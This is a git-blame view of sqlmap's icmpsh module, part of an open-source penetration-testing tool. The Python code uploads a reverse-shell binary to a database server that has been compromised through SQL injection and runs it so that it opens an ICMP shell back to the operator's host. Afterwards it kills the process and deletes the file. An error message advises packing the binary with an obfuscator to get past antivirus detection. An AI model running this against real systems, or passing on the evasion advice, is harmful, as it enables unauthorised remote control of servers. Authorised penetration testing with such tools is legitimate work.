2019-05-08 13:47:52 +03:00
|
|
|
#!/usr/bin/env python
|
2010-10-28 01:02:22 +04:00
|
|
|
|
|
|
|
"""
|
2024-01-04 01:11:52 +03:00
|
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
2017-10-11 15:50:46 +03:00
|
|
|
See the file 'LICENSE' for copying permission
|
2010-10-28 01:02:22 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
import os
|
2016-04-12 23:37:14 +03:00
|
|
|
import re
|
|
|
|
import socket
|
2010-10-28 01:02:22 +04:00
|
|
|
import time
|
|
|
|
|
|
|
|
from extra.icmpsh.icmpsh_m import main as icmpshmaster
|
|
|
|
from lib.core.common import getLocalIP
|
|
|
|
from lib.core.common import getRemoteIP
|
|
|
|
from lib.core.common import normalizePath
|
|
|
|
from lib.core.common import ntToPosixSlashes
|
|
|
|
from lib.core.common import randomStr
|
|
|
|
from lib.core.common import readInput
|
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import paths
|
2015-09-10 16:19:33 +03:00
|
|
|
from lib.core.exception import SqlmapDataException
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2019-05-29 17:42:04 +03:00
|
|
|
class ICMPsh(object):
|
2010-10-28 01:02:22 +04:00
|
|
|
"""
|
|
|
|
This class defines methods to call icmpsh for plugins.
|
|
|
|
"""
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _initVars(self):
|
2011-04-30 17:20:05 +04:00
|
|
|
self.lhostStr = None
|
|
|
|
self.rhostStr = None
|
|
|
|
self.localIP = getLocalIP()
|
2013-05-29 17:45:13 +04:00
|
|
|
self.remoteIP = getRemoteIP() or conf.hostname
|
2013-01-07 18:55:40 +04:00
|
|
|
self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _selectRhost(self):
|
2015-09-03 11:32:45 +03:00
|
|
|
address = None
|
|
|
|
message = "what is the back-end DBMS address? "
|
|
|
|
|
|
|
|
if self.remoteIP:
|
|
|
|
message += "[Enter for '%s' (detected)] " % self.remoteIP
|
|
|
|
|
|
|
|
while not address:
|
|
|
|
address = readInput(message, default=self.remoteIP)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2015-09-10 16:19:33 +03:00
|
|
|
if conf.batch and not address:
|
|
|
|
raise SqlmapDataException("remote host address is missing")
|
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
return address
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _selectLhost(self):
|
2015-09-03 11:32:45 +03:00
|
|
|
address = None
|
|
|
|
message = "what is the local address? "
|
|
|
|
|
|
|
|
if self.localIP:
|
|
|
|
message += "[Enter for '%s' (detected)] " % self.localIP
|
|
|
|
|
2016-04-12 23:37:14 +03:00
|
|
|
valid = None
|
|
|
|
while not valid:
|
|
|
|
valid = True
|
|
|
|
address = readInput(message, default=self.localIP or "")
|
|
|
|
|
|
|
|
try:
|
|
|
|
socket.inet_aton(address)
|
|
|
|
except socket.error:
|
|
|
|
valid = False
|
|
|
|
finally:
|
|
|
|
valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2015-09-10 16:19:33 +03:00
|
|
|
if conf.batch and not address:
|
|
|
|
raise SqlmapDataException("local host address is missing")
|
2016-04-12 23:37:14 +03:00
|
|
|
elif address and not valid:
|
|
|
|
warnMsg = "invalid local host address"
|
2022-06-22 13:04:34 +03:00
|
|
|
logger.warning(warnMsg)
|
2015-09-10 16:19:33 +03:00
|
|
|
|
2010-10-28 01:02:22 +04:00
|
|
|
return address
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _prepareIngredients(self, encode=True):
|
2016-04-12 23:37:14 +03:00
|
|
|
self.localIP = getattr(self, "localIP", None)
|
|
|
|
self.remoteIP = getattr(self, "remoteIP", None)
|
2013-01-07 19:44:22 +04:00
|
|
|
self.lhostStr = ICMPsh._selectLhost(self)
|
|
|
|
self.rhostStr = ICMPsh._selectRhost(self)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _runIcmpshMaster(self):
|
2010-10-28 01:02:22 +04:00
|
|
|
infoMsg = "running icmpsh master locally"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
icmpshmaster(self.lhostStr, self.rhostStr)
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _runIcmpshSlaveRemote(self):
|
2011-04-30 17:20:05 +04:00
|
|
|
infoMsg = "running icmpsh slave remotely"
|
2010-10-28 01:02:22 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
|
|
|
self.execCmd(cmd, silent=True)
|
|
|
|
|
|
|
|
def uploadIcmpshSlave(self, web=False):
|
2012-12-21 14:10:05 +04:00
|
|
|
ICMPsh._initVars(self)
|
2012-12-06 17:14:19 +04:00
|
|
|
self._randStr = randomStr(lowercase=True)
|
|
|
|
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2013-02-14 22:28:48 +04:00
|
|
|
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
|
2012-12-06 17:14:19 +04:00
|
|
|
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
|
|
|
if web:
|
2013-02-14 22:28:48 +04:00
|
|
|
written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
|
|
|
|
else:
|
|
|
|
written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)
|
|
|
|
|
|
|
|
if written is not True:
|
|
|
|
errMsg = "there has been a problem uploading icmpsh, it "
|
|
|
|
errMsg += "looks like the binary file has not been written "
|
|
|
|
errMsg += "on the database underlying file system or an AV has "
|
|
|
|
errMsg += "flagged it as malicious and removed it. In such a case "
|
|
|
|
errMsg += "it is recommended to recompile icmpsh with slight "
|
|
|
|
errMsg += "modification to the source code or pack it with an "
|
|
|
|
errMsg += "obfuscator software"
|
|
|
|
logger.error(errMsg)
|
|
|
|
|
|
|
|
return False
|
2010-10-28 01:02:22 +04:00
|
|
|
else:
|
2013-02-14 22:28:48 +04:00
|
|
|
logger.info("icmpsh successfully uploaded")
|
|
|
|
return True
|
2010-10-28 01:02:22 +04:00
|
|
|
|
|
|
|
def icmpPwn(self):
|
2013-01-07 19:44:22 +04:00
|
|
|
ICMPsh._prepareIngredients(self)
|
2012-12-06 17:14:19 +04:00
|
|
|
self._runIcmpshSlaveRemote()
|
|
|
|
self._runIcmpshMaster()
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "icmpsh master exited"
|
2010-10-28 01:02:22 +04:00
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
2010-10-28 04:19:40 +04:00
|
|
|
time.sleep(1)
|
2012-12-06 17:14:19 +04:00
|
|
|
self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True)
|
2010-10-28 04:19:40 +04:00
|
|
|
time.sleep(1)
|
2012-12-06 17:14:19 +04:00
|
|
|
self.delRemoteFile(self._icmpslaveRemote)
|